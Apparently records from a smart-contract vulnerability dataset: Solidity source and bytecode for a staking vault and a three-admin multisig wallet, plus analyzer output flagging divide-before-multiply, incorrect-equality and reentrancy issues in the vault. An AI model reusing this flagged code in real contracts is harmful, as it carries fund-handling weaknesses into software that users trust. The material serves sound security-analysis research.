function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pVaultV2 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Reward {
uint256 amount;
uint256 timestamp;
uint256 totalDeposit;
}
mapping(address => uint256) public _lastCheckTime;
mapping(address => uint256) public _rewardBalance;
mapping(address => uint256) public _depositBalances;
uint256 public _totalDeposit;
Reward[] public _rewards;
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
external
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
external
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function getReward(address userAddress)
internal
{
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (lastCheckTime > 0 && _rewards.length > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
_rewardBalance[userAddress] = rewardBalance;
_lastCheckTime[msg.sender] = block.timestamp;
}
function deposit(uint256 amount) external {
getReward(msg.sender);
uint256 feeAmount = amount.mul(feePermill).div(1000);
uint256 realAmount = amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount);
_totalDeposit = _totalDeposit.add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function withdraw(uint256 amount) external {
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
getReward(msg.sender);
if (amount > _depositBalances[msg.sender]) {
amount = _depositBalances[msg.sender];
}
require(amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, amount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount);
_totalDeposit = _totalDeposit.sub(amount);
emit Withdrawn(msg.sender, amount);
}
function sendReward(uint256 amount) external {
require(amount > 0, "can't reward 0");
require(_totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), amount);
Reward memory reward;
reward = Reward(amount, block.timestamp, _totalDeposit);
_rewards.push(reward);
emit SentReward(amount);
}
function claimReward(uint256 amount) external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
if (amount > rewardLimit) {
amount = rewardLimit;
}
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount);
token1.safeTransfer(msg.sender, amount);
}
function claimRewardAll() external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit);
token1.safeTransfer(msg.sender, rewardLimit);
}
function getRewardAmount(address userAddress) public view returns (uint256) {
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (_rewards.length > 0) {
if (lastCheckTime > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) {
uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit);
timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration);
rewardBalance = rewardBalance.sub(timedAmount);
if (j == 0) break;
}
}
return rewardBalance;
}
}
|
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063adc3b31b1161010f578063c6e426bd116100a2578063d86e1ef711610071578063d86e1ef714610579578063e2aa2a851461059c578063e4186aa6146105a4578063fab980b7146105ca576101f0565b8063c6e426bd1461050f578063c78b6dea14610535578063cbeb7ef214610552578063d21220a714610571576101f0565b8063b79ea884116100de578063b79ea884146104b6578063b8f6e841146104dc578063b8f79288146104e4578063c45c4f5814610507576101f0565b8063adc3b31b1461044e578063ae169a5014610474578063b5984a3614610491578063b6b55f2514610499576101f0565b806344264d3d1161018757806385535cc51161015657806385535cc5146103a15780638705fcd4146103c75780638f1e9405146103ed578063ab033ea914610428576101f0565b806344264d3d1461033657806344a040f514610357578063501883011461037d578063637830ca14610399576101f0565b806327b5b6a0116101c357806327b5b6a0146102e35780632e1a7d4d146103095780634127535814610326578063430bf08a1461032e576101f0565b80630dfe1681146101f557806311cc66b21461021957806312d43a51146102c15780631c69ad00146102c9575b600080fd5b6101fd610647565b604080516001600160a01b039092168252519081900360200190f35b6102bf6004803603602081101561022f57600080fd5b81019060208101813564010000000081111561024a57600080fd5b82018360208201111561025c57600080fd5b8035906020019184600183028401116401000000008311171561027e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610656945050505050565b005b6101fd6106bf565b6102d16106d3565b60408051918252519081900360200190f35b6102d1600480360360208110156102f957600080fd5b50356001600160a01b031661074f565b6102bf6004803603602081101561031f57600080fd5b5035610761565b6101fd61096d565b6101fd61097c565b61033e61098b565b6040805163ffffffff9092168252519081900360200190f35b6102d16004803603602081101561036d57600080fd5b50356001600160a01b031661099e565b610385610b41565b604080519115158252519081900360200190f35b6102bf610b4a565b6102bf600480360360208110156103b757600080fd5b50356001600160a01b0316610baa565b6102bf600480360360208110156103dd57600080fd5b50356001600160a01b0316610c1e565b61040a6004803603602081101561040357600080fd5b5035610c92565b60408051938452602084019290925282820152519081900360600190f35b6102bf6004803603602081101561043e57600080fd5b50356001600160a01b0316610cc5565b6102d16004803603602081101561046457600080fd5b50356001600160a01b0316610d3f565b6102bf6004803603602081101561048a57600080fd5b5035610d51565b6102d1610db9565b6102bf600480360360208110156104af57600080fd5b5035610dbf565b6102bf600480360360208110156104cc57600080fd5b50356001600160a01b0316610ec2565b6102d1610f36565b6102bf600480360360208110156104fa57600080fd5b503563ffffffff16610f3c565b6102d1610fb4565b6102bf6004803603602081101561052557600080fd5b50356001600160a01b0316610fff565b6102bf6004803603602081101561054b57600080fd5b5035611073565b6102bf6004803603602081101561056857600080fd5b50351515611214565b6101fd611279565b6102bf6004803603602081101561058f57600080fd5b503563ffffffff16611288565b6102d16112e5565b6102d1600480360360208110156105ba57600080fd5b50356001600160a01b03166112eb565b6105d26112fd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561060c5781810151838201526020016105f4565b50505050905090810190601f1680156106395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6006546001600160a01b031681565b600b5461010090046001600160a01b031633146106a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106bb906005906020840190611975565b5050565b600b5461010090046001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50511161081f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610869576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108723361138b565b3360009081526002602052604090205481111561089b5750336000908152600260205260409020545b600081116108e3576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6006546108fa906001600160a01b03163383611493565b3360009081526002602052604090205461091490826114e5565b3360009081526002602052604090205560035461093190826114e5565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6008546001600160a01b031681565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610b3a578115610a9257600454600019015b600481815481106109e357fe5b906000526020600020906003020160010154831015610a9057610a7b610a7460048381548110610a0f57fe5b906000526020600020906003020160020154610a6e600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b600091825260209091206003909102015490611530565b90611589565b83906115cb565b915080610a8757610a90565b600019016109d6565b505b600454600019015b610acd600a5460048381548110610aad57fe5b9060005260206000209060030201600101546115cb90919063ffffffff16565b421015610b38576000610ae660048381548110610a0f57fe5b9050610b15600a54610a6e610b0e42610b08600a5460048981548110610aad57fe5b906114e5565b8490611530565b9050610b2183826114e5565b925081610b2e5750610b38565b5060001901610a9a565b505b9392505050565b600b5460ff1681565b610b533361138b565b6000610b5e3361099e565b33600090815260016020526040902054909150610b7b90826114e5565b33600081815260016020526040902091909155600754610ba7916001600160a01b039091169083611493565b50565b600b5461010090046001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461010090046001600160a01b03163314610c70576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610ca257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600b5461010090046001600160a01b03163314610d17576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610d5a3361138b565b6000610d653361099e565b905080821115610d73578091505b33600090815260016020526040902054610d8d90836114e5565b336000818152600160205260409020919091556007546106bb916001600160a01b039091169084611493565b600a5481565b610dc83361138b565b600954600090610df2906103e890610a6e90859063ffffffff600160a01b90910481169061153016565b90506000610e0083836114e5565b90508115610e2757600854600654610e27916001600160a01b039182169133911685611625565b8015610ebd57600954600654610e4c916001600160a01b039182169133911684611625565b33600090815260026020526040902054610e6690826115cb565b33600090815260026020526040902055600354610e8390826115cb565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600b5461010090046001600160a01b03163314610f14576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600b5461010090046001600160a01b03163314610f8e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b600b5461010090046001600160a01b03163314611051576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116110b9576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611110576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600754611128906001600160a01b0316333084611625565b611130611a01565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600b5461010090046001600160a01b03163314611266576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600b5461010090046001600160a01b031633146112da576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b600c5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113be575060045415155b1561146357600454600019015b600481815481106113d857fe5b9060005260206000209060030201600101548310156114615761144c610a746004838154811061140457fe5b906000526020600020906003020160020154610a6e60026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b91508061145857611461565b600019016113cb565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ebd908490611685565b600061152783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061183d565b90505b92915050565b60008261153f5750600061152a565b8282028284828161154c57fe5b04146115275760405162461bcd60e51b8152600401808060200182810382526021815260200180611a386021913960400191505060405180910390fd5b600061152783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d4565b600082820183811015611527576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261167f908590611685565b50505050565b611697826001600160a01b0316611939565b6116e8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117265780518252601f199092019160209182019101611707565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611788576040519150601f19603f3d011682016040523d82523d6000602084013e61178d565b606091505b5091509150816117e4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561167f5780806020019051602081101561180057600080fd5b505161167f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a59602a913960400191505060405180910390fd5b600081848411156118cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611891578181015183820152602001611879565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611891578181015183820152602001611879565b50600083858161192f57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061196d5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826119ab57600085556119f1565b82601f106119c457805160ff19168380011785556119f1565b828001600101855582156119f1579182015b828111156119f15782518255916020019190600101906119d6565b506119fd929150611a22565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156119fd5760008155600101611a2356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e73f50c87f41747254a3abcf8ee6e0e7ca53ebca5aba193ed436370f6d5ce37964736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,503 |
0x974f3327c53366d27979427e972875dabbed14de
|
pragma solidity 0.4.21;
library SafeMath {
function sub(uint256 a, uint256 b) pure internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private rentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
/**
* MultiSig is designed to hold funds of the ico. Account is controlled by three administrators. To trigger a payout
* two out of three administrators will must agree on same amount of ether to be transferred. During the signing
* process if one administrator sends different target address or amount of ether, process will abort and they
* need to start again.
* Administrator can be replaced but two out of three must agree upon replacement of third administrator. Two
* admins will send address of third administrator along with address of new one administrator. If a single one
* sends different address the updating process will abort and they need to start again.
*/
contract MultiSig is ReentrancyGuard {
using SafeMath for uint256;
// Maintain state funds transfer signing process
struct Transaction{
address[2] signer;
uint confirmations;
uint256 eth;
}
// count and record signers with ethers they agree to transfer
Transaction private pending;
// the number of administrator that must confirm the same operation before it is run.
uint256 public required = 2;
mapping(address => bool) private administrators;
// Funds has arrived into the contract (record how much).
event Deposit(address _from, uint256 value);
// Funds transfer to other contract
event Transfer(address indexed fristSigner, address indexed secondSigner, address to,uint256 eth,bool success);
// Administrator successfully signs a fund transfer
event TransferConfirmed(address signer,uint256 amount,uint256 remainingConfirmations);
// Administrator successfully signs a key update transaction
event UpdateConfirmed(address indexed signer,address indexed newAddress,uint256 remainingConfirmations);
// Administrator violated consensus
event Violated(string action, address sender);
// Administrator key updated (administrator replaced)
event KeyReplaced(address oldKey,address newKey);
event EventTransferWasReset();
event EventUpdateWasReset();
function MultiSig() public {
administrators[0xCDea686Bac6136E3B4D7136967dC3597f96fA24f] = true;
administrators[0xf964707c8fb25daf61aEeEF162A3816c2e8f25dD] = true;
administrators[0xA45fb4e5A96D267c2BDc5efDD2E93a92b9516232] = true;
}
/**
* @dev To trigger payout two out of three administrators call this
* function, funds will be transferred right after verification of
* third signer call.
* @param recipient The address of recipient
* @param amount Amount of wei to be transferred
*/
function transfer(address recipient, uint256 amount) external onlyAdmin nonReentrant {
// input validations
require( recipient != 0x00 );
require( amount > 0 );
require( address(this).balance >= amount );
uint remaining;
// Start of signing process, first signer will finalize inputs for remaining two
if (pending.confirmations == 0) {
pending.signer[pending.confirmations] = msg.sender;
pending.eth = amount;
pending.confirmations = pending.confirmations.add(1);
remaining = required.sub(pending.confirmations);
emit TransferConfirmed(msg.sender,amount,remaining);
return;
}
// Compare amount of wei with previous confirmtaion
if (pending.eth != amount) {
transferViolated("Incorrect amount of wei passed");
return;
}
// make sure signer is not trying to spam
if (msg.sender == pending.signer[0]) {
transferViolated("Signer is spamming");
return;
}
pending.signer[pending.confirmations] = msg.sender;
pending.confirmations = pending.confirmations.add(1);
remaining = required.sub(pending.confirmations);
// make sure signer is not trying to spam
if (remaining == 0) {
if (msg.sender == pending.signer[0]) {
transferViolated("One of signers is spamming");
return;
}
}
emit TransferConfirmed(msg.sender,amount,remaining);
// If two confirmation are done, trigger payout
if (pending.confirmations == 2) {
if(recipient.send(amount)) {
emit Transfer(pending.signer[0], pending.signer[1], recipient, amount, true);
} else {
emit Transfer(pending.signer[0], pending.signer[1], recipient, amount, false);
}
ResetTransferState();
}
}
function transferViolated(string error) private {
emit Violated(error, msg.sender);
ResetTransferState();
}
function ResetTransferState() internal {
delete pending;
emit EventTransferWasReset();
}
/**
* @dev Reset values of pending (Transaction object)
*/
function abortTransaction() external onlyAdmin{
ResetTransferState();
}
/**
* @dev Fallback function, receives value and emits a deposit event.
*/
function() payable public {
// deposit ether
if (msg.value > 0){
emit Deposit(msg.sender, msg.value);
}
}
/**
* @dev Checks if given address is an administrator.
* @param _addr address The address which you want to check.
* @return True if the address is an administrator and fase otherwise.
*/
function isAdministrator(address _addr) public constant returns (bool) {
return administrators[_addr];
}
// Maintian state of administrator key update process
struct KeyUpdate {
address[2] signer;
uint confirmations;
address oldAddress;
address newAddress;
}
KeyUpdate private updating;
/**
* @dev Two admnistrator can replace key of third administrator.
* @param _oldAddress Address of adminisrator needs to be replaced
* @param _newAddress Address of new administrator
*/
function updateAdministratorKey(address _oldAddress, address _newAddress) external onlyAdmin {
// input verifications
require( isAdministrator(_oldAddress) );
require( _newAddress != 0x00 );
require( !isAdministrator(_newAddress) );
require( msg.sender != _oldAddress );
// count confirmation
uint256 remaining;
// start of updating process, first signer will finalize address to be replaced
// and new address to be registered, remaining two must confirm
if (updating.confirmations == 0) {
updating.signer[updating.confirmations] = msg.sender;
updating.oldAddress = _oldAddress;
updating.newAddress = _newAddress;
updating.confirmations = updating.confirmations.add(1);
remaining = required.sub(updating.confirmations);
emit UpdateConfirmed(msg.sender,_newAddress,remaining);
return;
}
// violated consensus
if (updating.oldAddress != _oldAddress) {
emit Violated("Old addresses do not match",msg.sender);
ResetUpdateState();
return;
}
if (updating.newAddress != _newAddress) {
emit Violated("New addresses do not match", msg.sender);
ResetUpdateState();
return;
}
// make sure admin is not trying to spam
if (msg.sender == updating.signer[0]) {
emit Violated("Signer is spamming", msg.sender);
ResetUpdateState();
return;
}
updating.signer[updating.confirmations] = msg.sender;
updating.confirmations = updating.confirmations.add(1);
remaining = required.sub(updating.confirmations);
if (remaining == 0) {
if (msg.sender == updating.signer[0]) {
emit Violated("One of signers is spamming",msg.sender);
ResetUpdateState();
return;
}
}
emit UpdateConfirmed(msg.sender,_newAddress,remaining);
// if two confirmation are done, register new admin and remove old one
if (updating.confirmations == 2) {
emit KeyReplaced(_oldAddress, _newAddress);
ResetUpdateState();
delete administrators[_oldAddress];
administrators[_newAddress] = true;
return;
}
}
function ResetUpdateState() internal {
delete updating;
emit EventUpdateWasReset();
}
/**
* @dev Reset values of updating (KeyUpdate object)
*/
function abortUpdate() external onlyAdmin {
ResetUpdateState();
}
/**
* @dev modifier allow only if function is called by administrator
*/
modifier onlyAdmin() {
if( !administrators[msg.sender] ){
revert();
}
_;
}
}
|
0x606060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a2eb301146100ef5780631478b6af14610140578063370c60011461015557806374158cd81461016a578063a9059cbb146101c2578063dc8452cd14610204575b60003411156100ed577fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b005b34156100fa57600080fd5b610126600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061022d565b604051808215151515815260200191505060405180910390f35b341561014b57600080fd5b610153610283565b005b341561016057600080fd5b6101686102e5565b005b341561017557600080fd5b6101c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610347565b005b34156101cd57600080fd5b610202600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c4b565b005b341561020f57600080fd5b6102176113a4565b6040518082815260200191505060405180910390f35b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156102db57600080fd5b6102e36113aa565b565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561033d57600080fd5b610345611443565b565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156103a157600080fd5b6103aa8361022d565b15156103b557600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141515156103db57600080fd5b6103e48261022d565b1515156103f057600080fd5b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561042b57600080fd5b600060076002015414156105c05733600760000160076002015460028110151561045157fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600760030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600760040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610531600160076002015461149690919063ffffffff16565b6007600201819055506105546007600201546005546114b490919063ffffffff16565b90508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7bc835da852cc381812c14f7e1f5d7c88561b2fdb095ce8314025bb44056d784836040518082815260200191505060405180910390a3610c46565b8273ffffffffffffffffffffffffffffffffffffffff16600760030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff